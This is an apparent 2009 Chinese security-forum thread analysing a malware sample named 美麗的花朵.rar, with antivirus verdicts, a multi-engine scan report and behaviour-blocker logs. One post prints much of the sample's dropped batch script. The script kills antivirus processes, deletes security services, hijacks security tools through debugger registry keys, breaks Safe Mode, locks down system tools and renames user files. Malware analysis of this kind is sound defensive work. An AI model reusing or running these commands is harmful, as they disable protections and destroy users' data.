主流全过。。。

post8

lifanjun

查询编号：RS20090812095530640943
文件名称：美麗的花朵.rar
文件MD5：283C7151EAFA2BFA734029C577BF1424
文件状态：压缩文件，包含1个文件

文件名	MD5	状态	病毒名称	解决版本号
美麗的花朵.exe	BF0B6F1EE...	病毒文件	Trojan.Win32.Generic.1...	22.08.02.02

[ 本帖最后由 lifanjun 于 2009-8-12 10:23 编辑 ]

62590423

文件 C:\Documents and Settings\Administrator\桌面\美麗的花朵.exe 受到 BAT/Autorun.AF 蠕虫 感染. 可以删除文件.强烈建议您在删除前备份所有重要数据.

824626242

VirSCAN.org Scanned Report :
Scanned time   : 2009/08/12 10:05:44 (CST)
Scanner results: 14%的杀软(5/37)报告发现病毒
File Name      : 美麗的花朵.rar
File Size      : 39133 byte
File Type      : RAR archive data, v1d, os
MD5            : 283c7151eafa2bfa734029c577bf1424
SHA1           : de32f00a588da648bd4e84f3351bdc92d552f449
Online report  : http://virscan.org/report/33050f56bee7f5dc9a7da0b2bc365511.html

Scanner        Engine Ver      Sig Ver           Sig Date    Time   Scan result
a-squared      4.5.0.3         20090812000143    2009-08-12  0.33   -
安博士V3       2009.08.11.07   2009.08.11        2009-08-11  0.79   -
AntiVir        8.2.1.0         7.1.5.100         2009-08-11  0.20   -
安天           2.0.18          20090810.2695746  2009-08-10  0.12   -
Arcavir        2009            200908111403      2009-08-11  0.06   -
Authentium     5.1.1           200908120041      2009-08-12  1.19   W32/Trojan2.BNPK (Exact)
AVAST!         4.7.4           090811-0          2009-08-11  0.00   -
AVG            8.5.288         270.13.51/2297    2009-08-12  0.41   -
BitDefender    7.81008.3835760 7.27119           2009-08-12  3.51   DeepScan:Generic.Malware.SPDYBdQ!.3F2A43DF
CA (VET)       9.0.0.143       31.6.6670         2009-08-11  5.99   -
ClamAV         0.95.2          9677              2009-08-11  0.02   -
Comodo         3.10            1947              2009-08-11  0.78   -
CP Secure      1.1.0.715       2009.08.11        2009-08-11  12.65  Troj.Dropper.W32.Delf.bda
Dr.Web         4.44.0.9170     2009.08.11        2009-08-11  5.59   -
F-Prot         4.4.4.56        20090811          2009-08-11  1.53   W32/Trojan2.BNPK (exact)
F-Secure       7.02.73807      2009.08.11.17     2009-08-11  0.27   -
飞塔           2.81-3.120      10.707            2009-08-11  0.25   -
GData          19.7038/19.436  20090812          2009-08-12  5.91   -
ViRobot        20090811        2009.08.11        2009-08-11  0.84   -
Ikarus         T3.1.01.64      2009.08.12.73223  2009-08-12  4.30   -
江民杀毒       11.0.800        2009.08.11        2009-08-11  11.31  -
卡巴斯基       5.5.10          2009.08.12        2009-08-12  0.10   -
金山毒霸       2009.2.5.15     2009.8.11.20      2009-08-11  0.69   -
迈克菲         5.3.00          5706              2009-08-11  3.47   -
Microsoft      1.4903          2009.08.12        2009-08-12  8.55   -
Norman         6.01.09         6.01.00           2009-08-11  4.00   -
熊猫卫士       9.05.01         2009.08.11        2009-08-11  3.79   -
趋势科技       8.700-1004      6.356.09          2009-08-11  0.03   -
Quick Heal     10.00           2009.08.11        2009-08-11  1.53   -
瑞星           20.0            21.42.14.00       2009-08-11  0.50   -
Sophos         2.89.1          4.44              2009-08-12  2.97   -
Sunbelt        5323            5323              2009-08-10  1.26   -
赛门铁克       1.3.0.24        20090811.004      2009-08-11  0.09   -
nProtect       20090809.01     4982391           2009-08-09  8.21   -
The Hacker     6.3.4.3         v00381            2009-08-11  9.23   -
VBA32          3.12.10.9       20090811.1432     2009-08-11  2.05   Trojan.StartPage.21264
VirusBuster    4.5.11.10       10.112.2/1844876  2009-08-11  2.35   -

左手

2009-08-12 10:13:07    创建文件      操作:阻止并结束进程
进程路径:E:\virus\美麗的花朵.exe
文件路径:E:\Local Settings\Temp\bt14622.bat
触发规则:所有程序规则->FD:02…文件创建修改规则->*\*.bat

2009-08-12 10:14:36    运行应用程序      操作:阻止
进程路径:E:\virus\美麗的花朵.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c E:\LOCALS~1\Temp\bt70231.bat "E:\virus\美麗的花朵.exe"
触发规则:应用程序规则->AD:04…应用进程执行规则->*.*->*\cmd.exe

[ 本帖最后由 左手 于 2009-8-12 10:17 编辑 ]

jason_jiang

to drweb

悠柚

那个bat killav？
to IObit

fatezero

to kl，avira

O(∩_∩)O哈哈~

To Comodo!

gtc

呵呵，典型的病毒特征，以下是其生成文件bt70231.bat的部分内容，相当凶险：
@shift
echo off
cls
echo -----------------------------------------------------------------
echo This file created with trial version of Quick Batch File Compiler.
echo Please REGISTER your copy to REMOVE this reminder.
echo Copyright 2002-2007 by Abyssmedia.com
echo Offical web-site: http://www.abyssmedia.com
echo -----------------------------------------------------------------
pause
@echo off
if not exist jklo.vbs goto begin
net stop sharedaccess
net stop dhcp
sc config sharedaccess start=disabled
sc config dhcp start=disabled
sc config audiosrv start=disabled
sc delete navapsvc
sc delete wscsvc
sc delete KPfwSvc
sc delete SNDSrvc
sc delete ccProxy
sc delete ccEvtMgr
sc delete ccSetMgr
sc delete SPBBCSvc
sc delete Symantec Core LC
sc delete NPFMntor
sc delete MskService
sc delete FireSvc
tskill Mcshield & tskill VsTskMgr & tskill naPrdMgr & tskill UpdaterUI & tskill TBMon & tskill scan32 & tskill Ravmond & tskill CCenter & tskill RavTask & tskill Rav & tskill Ravmon & tskill RavmonD & tskill RavStub & taskill KVXP & tskill kvMonXP & tskill KVCenter & tskill KRegEx & tskill UIHost & tskill TrojDie & tskill Logo_1 & tskill Rundll32 % tskill 360tray & tskill 360arp & tskill 360safebox & tskill 360Safe & tskill Rising & tskill TBSCAN & tskill KVFW & tskill KAVSvcUI & tskill KAVPF & tskill KAV32 & tskill KvXP & tskill KVSrvXP & tskill KVMonXP & tskill KVwsc & tskill KAVsvc & tskill KWatchUI & tskill RAVmonD & tskill RAVmon & tskill Rising
tskill QQ
tskill iexplore
echo 2100-6-1 | date
copy %0 %windir%\system32\cmd.bat
reg add HKEY_CLASSES_ROOT\.kk /ve /d kkfile /f
reg add HKEY_CLASSES_ROOT\kkfile\DefaultIcon /ve /d %SystemRoot%\System32\shell32.dll,-153 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360safe.exe" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ras.exe" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rav.exe" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sreng.exe" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rav32.exe" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rising.exe" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KAVStart.exe" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KWatch.exe" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KASMain.exe" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp.exe" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icosword.exe" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVMonXP.kxp.exe.exe" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kvsrvxp.exe" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kvxp.kxp" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avg" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32" /v "Debugger" /d "ntsd -d" /t REG_SZ /f
reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoFileSysPage /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.rar /v Application /t REG_SZ /d open /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.7z /v Application /t REG_SZ /d open /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.zip /v Application /t REG_SZ /d open /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.txt /v Application /t REG_SZ /d open /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.doc /v Application /t REG_SZ /d open /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.rtf /v Application /t REG_SZ /d open /f
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\360Safe\safemon /f
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\360Safe /f
reg copy HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minima1 /s /f
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot /v Minimal /f
reg copy HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Netw0rk /s /f
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot /v Network /f
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /f
reg add HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser" /v ITBarLayout /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t reg_dword /d 00000000 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t reg_dword /d 00000001 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t reg_dword /d 00000000 /f
reg add HKEY_LOCAL_MACHINE\Software\CLASSES\.reg /ve /t REG_SZ /d regfile /f
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR /v START /t REG_DWORD /d 4 /f
reg add HEKY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsHistory /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClearRecentDocsOnExit /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFavoritesMenu /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMHelp /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWindowsUpdate /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetActiveDesktop /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoActiveDesktop /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoActiveDesktopChanges /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoNetConnectDisconnect /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWebView /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoTrayContextMenu /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoChangeStartMenu /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveTypeAutoRun /t REG_BINARY /d 91,00,00,00 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispCPL /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispBackgroundPage /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispScrSavPage /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispAppearancePage /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispSettingsPage /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoPwdPage /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoProfilePage /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDevMgrPage /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoConfigPage /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoFileSysPage /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoVirtMemPage /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network /v NoNetSetup /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network /v NoNetSetupIDPage /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network /v NoNetSetupSecurityPage /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network /v NoEntireNetwork /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network /v NoWorkgroupContents /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network /v NoFileSharingControl /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network /v NoPrintSharingControl /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoHTMLWallPaper /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallpaper /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoAddingComponents /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoDeletingComponents /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoCloseDragDropBands /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoMovingBands /t REG_DWORD /d 1 /f
reg delete HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot /f
reg delete HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Network /f
reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\MyComputer\NameSpace /f
reg add HKEY_LOCAL_MACHINE\Network\Logon /v MustBeValidated /t REG_DWORD /d 1 /f
reg delete "HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers\Send To" /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess /v BrowseNewProcess /t REG_DWORD /d yes /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Softweare\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoTrayContextMenu /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /t REG_DWORD /d 4 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoNetHood /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoChangeStartMenu /t REG_DWORD /d 1 /f
reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HomePage /t REG_DWOED /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFavoritesMenu /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v Nofind /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogOff /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoInternetIcon /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSaveSettings /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoActiveDesktop /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoAddPrinter /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDeletePrinter /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NofolderOptions /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetActiveDesktop /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWindowsUpdate /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFileMenu /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v EditLevel /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
reg add HKEY_LOCALMACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 0 /f
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v RavTask.exe /f
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v KvMonXP.exe /f
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v kav.exe /f
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v KAVPersonal50.exe /f
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v McAfeeUpdaterUI.exe /f
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Network Associates Error RePorting Service.exe /f
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ShStartEXE.exe /f
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v YLive.exe.exe /f
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v yassistse.exe /f
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 360tray.exe /f
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Rising /f
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 360safe /f
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
set all=d e f g h i j k l m n o p q r s t u v w x y z
for %%s in (%all%) do ren *.* *.kk
for %%s in (%all%) do ren *.* *.kk
for %%b in (%alldrive%) do rd /s /q %%b:\autorun.inf
rd /s /q d:\setup.bat
rd /s /q %windir%/system32/explorer.bat
attrib c:\autoexec.bat -h -r -s
rd /s /q c:\autoexec.bat
echo @echo off >setup.bat
echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat >>d:\setup.bat
………………